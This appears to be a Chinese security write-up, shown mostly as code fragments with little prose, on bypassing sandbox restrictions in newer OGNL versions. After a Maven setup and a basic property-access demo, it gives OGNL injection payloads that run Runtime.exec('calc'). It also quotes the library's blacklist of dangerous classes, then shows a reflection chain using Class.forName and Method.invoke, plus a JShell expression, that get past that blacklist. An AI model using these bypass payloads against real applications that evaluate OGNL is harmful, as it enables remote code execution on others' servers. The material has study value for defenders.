OGNL表达式注入高版本绕过分析
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>OGNL_test</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/ognl/ognl -->
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.1.19</version>
</dependency>
</dependencies>
</project>
package com.mashiro;
public class Student {
String name;
School school;
public void setName(String s) {
name = s;
}
public String getName() {
return name;
}
public void setSchool(School s) {
school = s;
}
public School getSchool() {
return school;
}
}
package com.mashiro;
public class School {
String name;
SchoolMaster schoolMaster;
public void setName(String s) {
name = s;
}
public String getName() {
return name;
}
public void setSchoolMaster(SchoolMaster s) {
schoolMaster = s;
}
public SchoolMaster getSchoolMaster() {
return schoolMaster;
}
}
package com.mashiro;
public class SchoolMaster {
String name;
public SchoolMaster(String s) {
name = s;
}
public void setName(String s) {
this.name = s;
}
public String getName() {
return name;
}
}
package com.mashiro;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class test {
public static void main(String[] args) throws OgnlException {
// 创建 Student 对象
School school = new School();
school.setName("hnust");
school.setSchoolMaster(new SchoolMaster("lisi"));
Student student1 = new Student();
student1.setName("Mash1r0");
student1.setSchool(school);
Student student2 = new Student();
student2.setName("Mashiro");
student2.setSchool(school);
// 创建上下文环境
OgnlContext ognlContext = new OgnlContext();
// 设置根对象 root
ognlContext.setRoot(student1);
// 通过 Map 的 put 方法添加对象
ognlContext.put("student2", student2);
// 获取 ognl 的 root 相关值
Object name1 = Ognl.getValue("name", ognlContext, ognlContext.getRoot());
Object school1 = Ognl.getValue("school.name", ognlContext, ognlContext.getRoot());
Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", ognlContext, ognlContext.getRoot());
System.out.println("root-" + name1 + ":school-" + school1 + ",schoolMaster-" + schoolMaster1);
// 获取 ognl 的非 root 相关值
Object name2 = Ognl.getValue("#student2.name", ognlContext, ognlContext.getRoot());
Object school2 = Ognl.getValue("#student2.school.name", ognlContext, ognlContext.getRoot());
Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", ognlContext, ognlContext.getRoot());
System.out.println("no_root-" + name2 + ":school-" + school2 + ",schoolMaster-" + schoolMaster2);
// 也可以指定对象
Object name3 = Ognl.getValue("name", ognlContext, ognlContext.get("student2"));
System.out.println(name3);
}
}
Object name3 = Ognl.getValue("getName", ognlContext, ognlContext.get("student2"));
System.out.println(name3);
Object result3 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", ognlContext, ognlContext.getRoot());
System.out.println("Executed: calc");
User p1 = new User("name1", 11);
User p2 = new User("name2", 22);
User p3 = new User("name3", 33);
User p4 = new User("name4", 44);
Map<String, Object> context = new HashMap<String, Object>();
ArrayList<User> list = new ArrayList<User>();
list.add(p1);
list.add(p2);
list.add(p3);
list.add(p4);
context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list));
// [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{age + '-' + name}", context, list));
// [11-name1, 22-name2, 33-name3, 44-name4]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null), User(name=name4, age=44, address=null)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list));
// [User(name=name4, age=44, address=null)]
(AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)) ||
(AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)) ||
(SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)) ||
(SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)) ||
AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)
String expression = "(\n" +
" #clazz = #this.getClass().forName(\"java.lang.Runtime\")\n" +
").(\n" +
" #methods = #clazz.getDeclaredMethods()\n" +
").(\n" +
" #runtime = #methods[7].invoke(null, null)\n" +
").(\n" +
" #exec = #methods[14]\n" +
").(\n" +
" #exec.invoke(#runtime, \"calc\")\n" +
")\n";
String expression1 = "@java.lang.Runtime@getRuntime().exec('calc')";
Object.Class()
Class.forName()
Class.getDeclaredMethods()
Method.invoke()
Method.invoke()
String expression2 = "@jdk.jshell.JShell@create().eval('Runtime.getRuntime().exec(\"calc\");')";
没有评论